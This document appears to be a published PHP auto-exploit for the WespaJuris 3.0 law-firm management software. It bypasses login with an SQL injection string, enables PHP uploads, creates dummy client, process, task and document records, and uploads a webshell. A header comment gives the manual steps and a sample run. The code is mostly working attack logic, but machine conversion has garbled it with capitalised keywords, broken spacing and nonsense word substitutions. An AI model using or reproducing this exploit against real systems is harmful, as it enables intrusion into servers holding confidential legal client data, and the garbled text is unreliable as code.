<? Php
/*
# Title spaJuris <= 3.0 auto exploit
# Author: WhiteCollarGroup
# Website: http://www.wespadigital.com.br/
# Http://www.wespadigital.com.br/download/wespajuris_v3_0_2012.rar
# Affected versions: 3.0
# Test Platform: Apache Server
WespaJuris is a software for law firms.
Use this exploit to upload a webshell on vulnerable applications.
Usage:
Php exploit. php
Example
$ Php exploit. php
WespaJuris <= 3.0 exploit
Coded by WhiteCollarGroup
Type Ctrl + C for exit
Try "php exploit. php/about" for get info
[?] Target address (login form ):
The http://www.bkjia.com/juris/
[?] Webshell path (in your computer ):
C: \ wamp \ www \ webshell. php
[*] Login...
[*] Trying to add php on allowed file formats.
[*] Adding a new client.
[*] Getting new client ID
[!] Client ID: 30
[*] Adding a new process.
[*] Getting new process ID.
[!] New process ID: 37
[*] Adding new task.
[*] Getting new task ID
[*] New task ID: 16
[*] Adding new doc type.
[*] Trying to get new doc type ID.
[!] New doc type ID: 7
[*] Trying to upload file...
[*] Thinking about file address...
[!] Exploit complete.
[I] You have now a webshell in
Then, go to http: // localhost/juris/clientdir/30/dl/webshell. php and see your webshell.
: How this exploit works? Manually work.
~> Login bypass
On login form, enter "SQLi strings ":
Login: 'or 1 = 1 -- wc
Pass: wcgroup
~> Configure file formats
Go to "CONFIGURA Ç ES ".
In "Extens elasticsearch de documentos", add "php ".
BEGIN Do it only if the system is blank
~> Add new client
Go to "clientes e usuários"> "adicionar ".
Add your own user.
~> Add new process
Go to "PROCESSOS"> "adicionar ".
Add your own process.
~> Add new task
Go to "PROCESSOS ".
Click on the process that you 've created.
In "Tarefas", click "Adicionar ".
~> Add new document type
Go to "DOCUMENTOS ".
Click "ADICIONAR/editar tipo incluento ".
In "Adicionar Tipo de incluento" form, type anything and then, click "Adicionar ".
END Do it only if the system is blank
~> Get arbitrary file upload
Go to "DOCUMENTOS ".
Click "ADICIONAR login ento ".
In "Título", select a client and a process. Click "PROSSEGUIR ".
Select a task in "TAREFAS", a document type in "Escolha um Tipo ".
In "Título do exactly ento", type anything.
Upload file in "Subir arquivo do have ento". Leaves "Link para has ento na Internet" empty.
Click "Adicionar Novo extends ento ".
Click "DOCUMENTOS" and click on the your webshell.
*/
Set_time_limit (0 );
Echo "WespaJuris <= 3.0 auto exploit \ n ";
Echo "Coded by WhiteCollarGroup \ n ";
Echo "Type Ctrl + C for exit \ n ";
If (isset ($ argv [1]) AND ($ argv [1] = "/about ")){
Echo "WhiteCollarGroup \ www.2cto.com \ nwhitecollar_group@hotmail.com \ nTwitter/Facebook/Blogspot: WCollarGroup \ nirc.virtualife.com.br # wcgroup \ n ";
Exit;
} Else {
Echo "Try \" php $ argv [0]/about \ "for get info \ n ";
}
Echo "\ n ";
If (! Function_exists ("curl_init ")){
Echo "php curl was not found on this system. \ n ";
Echo "Linux (Debian-like apt system): Type the following command on shell: \ n ";
Echo "# apt-get install php5-curl \ n ";
Echo "Unix: Edit your file php. ini and remove \"; \ "from following line: \ n ";
Echo "; extension = curl. so \ n ";
Echo "Windows: Edit your file php. ini and remove \"; \ "from following line: \ n ";
Echo "; extension = php_curl.dll \ n ";
Echo "Read more: http://www.php.net/manual/book.curl.php?n=n ";
Exit;
}
Puts ("Target address (login form):", "[?] ");
$ Target = trim (fgets (STDIN ));
$ Target = preg_replace ("/index \. php $/", null, $ target );
$ Target = preg_replace ("// $/", null, $ target );
Puts ("Webshell path (in your computer):", "[?] ");
Do {
$ Webshell = trim (fgets (STDIN ));
If (! File_exists ($ webshell) echo "File not found! ";
} While (! File_exists ($ webshell ));
$ Ch = curl_init ();
// Login
Puts ("Login ...");
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/process_login.php ");
Curl_setopt ($ ch, CURLOPT_REFERER, $ target );
Curl_setopt ($ ch, CURLOPT_POST, 1 );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, "do = login & username =". urlencode ("'or 1 = 1 -- wc"). "& password = wcgroup ");
Curl_setopt ($ ch, CURLOPT_FOLLOWLOCATION, true );
Curl_setopt ($ ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 ");
Curl_setopt ($ ch, CURLOPT_TIMEOUT, 60 );
Curl_setopt ($ ch, CURLOPT_COOKIEJAR, "wcgroup.txt ");
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
$ Store = curl_exec ($ ch );
If (preg_match ("/Dados de acesso incorretos, por favor tente novamente/", $ store )){
Puts ("cocould not login.", "[-]");
Echo "Make sure that the server uses a vulnerable version of WespaJuris. \ n ";
Exit;
}
// Config file format
$ Ext = end (explode (".", $ webshell ));
Puts ("Trying to add $ ext on allowed file formats .");
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = settings ");
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, "task = defsideset & new_serverdiff = 0 & new_dateformat = ". urlencode ("% Y/% c/% e "). "& new_extensions = ". urlencode ("$ ext, php, jpg, jpeg, gif, png, psd, zip, ai, pdf, doc "));
Curl_exec ($ ch );
// Add client
Puts ("Adding a new client .");
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = addclient ");
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, "task = addclient & company = WhiteCollarGroup & address1 = Nation & address2 = whitecollar_group % 40hotmail.com & city = % 40 WCollarGroup & state = facebook.com % 2 FWCollarGroup & zip = country & country = country + % 23 wcgroup & phone = WCGroup & phone_alt = This + was + a + auto + exploit & fax = We + did + not + hack + your + website ");
Curl_exec ($ ch );
// Get user ID
Puts ("Getting new client ID ");
Curl_setopt ($ ch, CURLOPT_POST, 0 );
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = addfiles ");
$ Store = curl_exec ($ ch );
$ Numbers = array ();
Preg_match_all ("/<option value = \" main \. php \? Pg = addfiles & clid = (. *) \ "> WhiteCollarGroup <\/option>/", $ store, $ numbers );
$ Uid = $ numbers [1] [0];
Puts ("Client ID: $ uid", "[!] ");
// Add process
Puts ("Adding a new process .");
Curl_setopt ($ ch, CURLOPT_POST, 1 );
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = addproj ");
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, "task = addproject & client_id = ". $ uid. "& project_title = HackMySite & description = WCGroup + did + not + hacked + your + website. % 0D % 0 AWCGroup + only + wrote + the + exploit + for + this + CMS + and + did + public + release. & startdate = 08% 2F06% 2F2012 & startdate_Month = 7 & miledate = 08% 2F06% 2F2999 & miledate_Month = 7 & findate = & findate_Month = & cost = 0.00 & status = Arquivado ");
$ Store = curl_exec ($ ch );
// Get process ID
Puts ("Getting new process ID .");
$ Numbers = array ();
Preg_match_all ("/main \. php \? Pg = projperms & pid = ([0-9] *)/", $ store, $ numbers );
$ Pid = $ numbers [1] [0];
Puts ("New process ID: $ pid", "[!] ");
// Add task
Puts ("Adding new task .");
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = addtask ");
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, "task = addtask & clid = $ uid & pid = $ pid & client_id = main. php % 3p-4% 3 Daddtask % 26 clid % 3D $ uid & pid = $ pid & task_title = Hacked + site & description = Sorry % 2C + admin. & startdate = 08% 2F06% 2F2012 & startdate_Month = 7 & miledate = 08% 2F06% 2F2999 & miledate_Month = 7 & findate = & findate_Month = & status = Em + andamento es = Check + logs + for + details & tuid = 0 ");
$ Store = curl_exec ($ ch );
// Get task id
Puts ("Getting new task ID ");
Curl_setopt ($ ch, CURLOPT_POST, 0 );
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = proj & clid = $ uid & pid = $ pid ");
$ Store = curl_exec ($ ch );
$ Numbers = array ();
Preg_match_all ("/main \. php \? Pg = edittask & clid = $ uid & pid = $ pid & tid = ([0-9] *)/", $ store, $ numbers );
$ Taskid = $ numbers [1] [0];
Puts ("New task ID: $ taskid ");
// Add doc type
Puts ("Adding new doc type .");
Curl_setopt ($ ch, CURLOPT_POST, 1 );
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = filetypes ");
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, "task = addfiletype & file_type = hack ");
Curl_exec ($ ch );
// Get doc type id
Puts ("Trying to get new doc type ID .");
Curl_setopt ($ ch, CURLOPT_POST, 0 );
Curl_setopt ($ ch, CURLOPT_URL, $ target. "/admin/main. php? Pg = filetypes ");
$ Store = curl_exec ($ ch );
$ Numbers = array ();
Preg_match_all ("/main \. php \? Pg = filetypes & task = deltype & type_id = ([0-9] *)/", $ store, $ numbers );
$ Tid = $ numbers [1] [0];
Puts ("New doc type ID: $ tid", "[!] ");
// Upload file
Puts ("Trying to upload file ...");
Curl_setopt ($ ch, CURLOPT_POST, 1 );
$ Post = array (
"Task" => "addfile ",
"Client_id" => $ uid,
"From" => "step1 ",
"Project_id" => $ pid,
"Clid" => $ uid,
"Task_id" => $ taskid,
"Type_id" => $ tid,
"File_title" => "wcgroup ",
"File" => "@ $ webshell"
);
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post );
Curl_exec ($ ch );
// Make file address
Puts ("Thinking about file address ...");
$ Fileaddr = $ target. "/clientdir/$ uid/dl/". basename ($ webshell );
Puts ("Exploit complete.", "[!] ");
Puts ("You have now a webshell in <$ fileaddr>", "[I]");
Function puts ($ str, $ type = false ){
If (! $ Type) $ type = "[*]";
Echo $ type. "". $ str. "\ n ";
}